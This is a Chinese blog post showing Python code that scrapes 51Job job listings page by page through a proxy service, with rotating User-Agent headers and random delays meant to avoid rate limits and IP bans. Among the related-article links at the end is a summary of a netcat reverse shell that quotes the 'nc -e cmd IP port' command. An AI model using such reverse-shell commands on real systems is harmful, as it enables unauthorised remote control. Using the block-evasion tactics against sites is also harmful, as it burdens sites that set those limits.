如何像翻书一样,稳定地抓到你想要的分页数据?

本文涉及的产品
RDS DuckDB + QuickBI 企业套餐,8核32GB + QuickBI 专业版
简介: 本文分享了如何通过 Python 稳定抓取 51Job 等招聘网站的分页数据。使用 `requests` 和 `BeautifulSoup` 解析网页,结合代理服务与随机延迟策略,有效避免被限制请求,并将数据存入数据库进行后续分析。附完整代码与实战经验总结,适合有分页爬取需求的开发者参考。

爬虫代理

最近在做一些招聘市场的数据分析,碰到一个典型问题:分页数据抓不到头,还经常被限制请求。尤其像 51Job 这类网站,页面里几十条职位一页,你不翻页就只看到一角数据,翻太快又被挡。

后来我总结了一套思路,能稳定、低调地“翻完所有页”,还能直接把数据存进数据库做分析,效果还不错。想记录下来,一是备忘,二也分享给有同样需求的人。


为什么我在乎“分页”这事?

我们日常在网上看到的很多数据,比如职位列表、评论、产品、新闻,它们都是分页呈现的。看着一页页翻,其实背后服务器也是靠 URL 参数拼接出来的数据。

我之前抓 51Job 的“Python爬虫”相关职位,每次第一页能抓,第二页开始就不是很稳定,甚至偶尔封我 IP。所以,不但要能翻页,还得稳 —— 这就是重点了。


要做这个,我准备了什么?

1. 技术栈:

我这次用的是 Python,主要是这些库:

  • requests:发请求;
  • beautifulsoup4:解析网页;
  • sqlite3:写数据用的,内置,无需安装;
  • pandas:后面做点简单分析。

另外我还加了一层代理 —— 用的是一个爬虫代理服务,不然抓多了很容易被“注意”。


抓取的思路,其实就是“慢慢翻页,不惹事”

咱先说下分页 URL 的套路。51Job 的搜索 URL 其实是类似这样的:

https://search.51job.com/list/000000,000000,0000,00,9,99,关键词,2,页码.html

这里的关键词可以换成 Python 爬虫(需要转义一下),页码是从 1 开始递增的。

所以我做的就是:

  1. 把关键词转成 URL 格式;
  2. 从第一页开始,一页页往下翻;
  3. 每一页都去解析里面的职位信息;
  4. 每翻一页就“等一会”,装得像正常人在看。

代码来了(我加了中文注释)

import requests
import sqlite3
import time
import random
from bs4 import BeautifulSoup
import pandas as pd
from urllib.parse import quote

# 设置代理信息(用的是亿牛云)
proxy_host = "proxy.16yun.cn"
proxy_port = "3100"
proxy_user = "16YUN"
proxy_pass = "16IP"

# 拼接代理字典
proxies = {
   
    "http": f"http://{proxy_user}:{proxy_pass}@{proxy_host}:{proxy_port}",
    "https": f"http://{proxy_user}:{proxy_pass}@{proxy_host}:{proxy_port}",
}

# 随机浏览器头,尽量别被识别成脚本
headers = {
   
    "User-Agent": random.choice([
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
        "Mozilla/5.0 (X11; Linux x86_64)"
    ])
}

# 搞个本地数据库来存
conn = sqlite3.connect("jobs_51job.db")
cursor = conn.cursor()
cursor.execute("""
CREATE TABLE IF NOT EXISTS jobs (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    title TEXT,
    company TEXT,
    location TEXT,
    salary TEXT,
    date TEXT,
    source_url TEXT
)
""")
conn.commit()

# 抓数据函数
def scrape_51job(keyword, max_pages=10):
    print(f"开始抓取关键词:{keyword}")
    for page in range(1, max_pages + 1):
        try:
            kw_encoded = quote(keyword)
            url = f"https://search.51job.com/list/000000,000000,0000,00,9,99,{kw_encoded},2,{page}.html"
            print(f"正在抓第 {page} 页:{url}")

            res = requests.get(url, headers=headers, proxies=proxies, timeout=10)
            res.encoding = 'gbk'  # 指定编码,不然会乱码
            soup = BeautifulSoup(res.text, "html.parser")
            jobs = soup.select("div#resultList div.el")[1:]  # 第一个是表头,跳过

            for job in jobs:
                title = job.select_one("p span a").get("title", "").strip()
                company = job.select_one("span.t2 a").get("title", "").strip()
                location = job.select_one("span.t3").text.strip()
                salary = job.select_one("span.t4").text.strip()
                date = job.select_one("span.t5").text.strip()
                link = job.select_one("p span a").get("href", "").strip()

                cursor.execute("""
                    INSERT INTO jobs (title, company, location, salary, date, source_url)
                    VALUES (?, ?, ?, ?, ?, ?)
                """, (title, company, location, salary, date, link))

            conn.commit()
            print(f"第 {page} 页 OK,共抓了 {len(jobs)} 条")
            time.sleep(random.uniform(1, 3))  # 随机等一下,低调点

        except Exception as e:
            print(f"第 {page} 页挂了:{e}")
            continue

# 数据分析函数:看看哪月招聘多
def analyze_jobs():
    df = pd.read_sql_query("SELECT * FROM jobs", conn)
    df["month"] = df["date"].apply(lambda x: "2025-" + x[:2] if "-" in x else "未知")
    stats = df.groupby("month").size().reset_index(name="job_count")
    stats = stats.sort_values(by="month")

    print("\n【每月职位数统计】")
    for _, row in stats.iterrows():
        print(f"{row['month']} 月份发布职位数量:{row['job_count']} 条")

# 主流程
if __name__ == "__main__":
    scrape_51job("Python 爬虫", max_pages=5)
    analyze_jobs()
    conn.close()

一些小经验

我抓的过程中,也踩了些坑,这里说下:

  • 编码问题:51Job 是 GBK 编码,不设置 res.encoding = 'gbk',中文就全花了。
  • 代理问题:代理不生效时,经常返回的是空页面或者重定向,一定要测试代理可用性。
  • 结构变了就得重新调:有一次页面结构更新了,原来 CSS 选择器就抓不到数据了,这种只能手动重新 F12 看一下。
  • 别太快了:有一回没加延迟,连抓 10 页直接就被封了 IP,加了代理和 sleep 才稳定下来。

写在最后

像这种分页抓数据的逻辑,其实大部分网站都差不多,你只要搞清楚分页 URL 的规律,再加上低调的抓法,就可以抓得很稳定。

我这次把数据存进 SQLite,是为了后面能做分析,比如看哪月招聘多,哪类岗位常见等。后续可以考虑导出 CSV、入库 MySQL、甚至做成一个可视化看板。

希望这篇小记对你有帮助。如果你也在爬分页,不妨试试看这种“翻书式”的思路!

相关文章
|
Shell Linux Windows
nc简单反弹shell
该内容描述了在Windows和Linux环境中使用`nc`(Netcat)工具建立反弹shell的过程。在Windows上,反弹端通过命令`nc -e cmd IP 端口`将控制权反弹到指定IP;控制端则运行`nc -lvvp 端口`等待连接。在Linux环境下,类似地,使用`nc -l -v -p 端口`作为控制端,而被控端用`nc 目标IP 端口`进行连接。文中还包含相关截图以辅助说明。
921 0
|
数据采集 存储 前端开发
【爬虫pyspider教程】1.pyspider入门与基本使用
爬虫框架pyspider入门和基本用法。
2343 0
|
7月前
|
数据采集 JSON API
在Scrapy中如何处理API分页及增量爬取
在Scrapy中如何处理API分页及增量爬取
|
6月前
|
人工智能 JSON 数据挖掘
大模型应用开发中MCP与Function Call的关系与区别
MCP与Function Call是大模型应用的两大关键技术。前者是跨模型的标准协议,实现多工具动态集成;后者是模型调用外部功能的机制。MCP构建通用连接桥梁,支持跨平台、热插拔与细粒度管控,适用于复杂企业场景;Function Call则轻量直接,适合单模型快速开发。二者可协同工作:模型通过Function Call解析意图,转为MCP标准请求调用工具,兼顾灵活性与扩展性。未来将趋向融合,形成“解析-传输-执行”分层架构,推动AI应用标准化发展。
|
6月前
|
人工智能 缓存 监控
Coze AI 智能体工作流配置与实战全指南
Coze工作流让AI智能体从问答工具进化为复杂任务执行者。通过可视化编排,可构建如智能旅行规划等多步骤自动化系统,支持并行处理、条件分支与错误恢复。结合触发、LLM、工具与判断节点,实现高效、可维护的智能流程,助力AI成为真正的“数字同事”。
|
Python
用python进行视频剪辑源码
这篇文章提供了一个使用Python进行视频剪辑的源码示例,通过结合moviepy和pydub库来实现视频的区间切割和音频合并。
529 2
|
数据采集 数据可视化 关系型数据库
基于Python的招聘网站爬虫及可视化的设计与实现
本文介绍了一个基于Python的招聘网站爬虫及可视化系统,该系统使用Flask框架、MySQL数据库和ECharts库,针对拉勾网的Java、Python、Php职位信息进行爬取、存储和多维度数据分析,帮助求职者快速获取关键招聘信息并做出就业决策。
1912 0
|
SQL 存储 大数据
SQL Server 跨版本数据迁移实践
SQL Server 的导入和导出向导是一个非常有用的工具,可以帮助用户快速导入和导出数据,而无需编写复杂的 SQL 查询或程序代码。使用导入和导出向导,用户可以选择数据源、目标数据、映射源和目标列、指定导入或导出选项以及完成导入或导出操作,整个使用体验也非常简单便捷。
1034 0
|
网络协议 应用服务中间件 网络安全
IP申请SSL证书的条件和方法
为IP地址申请SSL证书与域名证书流程不同,主要因SSL基于域名验证。部分CA允许为公有或私有IP地址申请证书,需满足拥有IP所有权、支持单IP或自签名证书、IP可公开访问及符合CA政策等条件。申请步骤包括访问CA官网、选择证书类型、提交申请、验证所有权并安装证书。替代方案是使用自签名证书,适合内部网络或开发环境。
1640 11
|
前端开发 NoSQL 数据库
Vue3 + Nest 实现权限管理系统 后端篇(三):基于RBAC 权限控制实现
RBAC(Role Based Access Control)是基于角色的权限控制,简单来说就是给用户赋予一些角色,那么该用户就会拥有这些角色的所有权限。接下来我们就用 NestJS 来实现基于 RBAC 的权限控制
939 0
Vue3 + Nest 实现权限管理系统 后端篇(三):基于RBAC 权限控制实现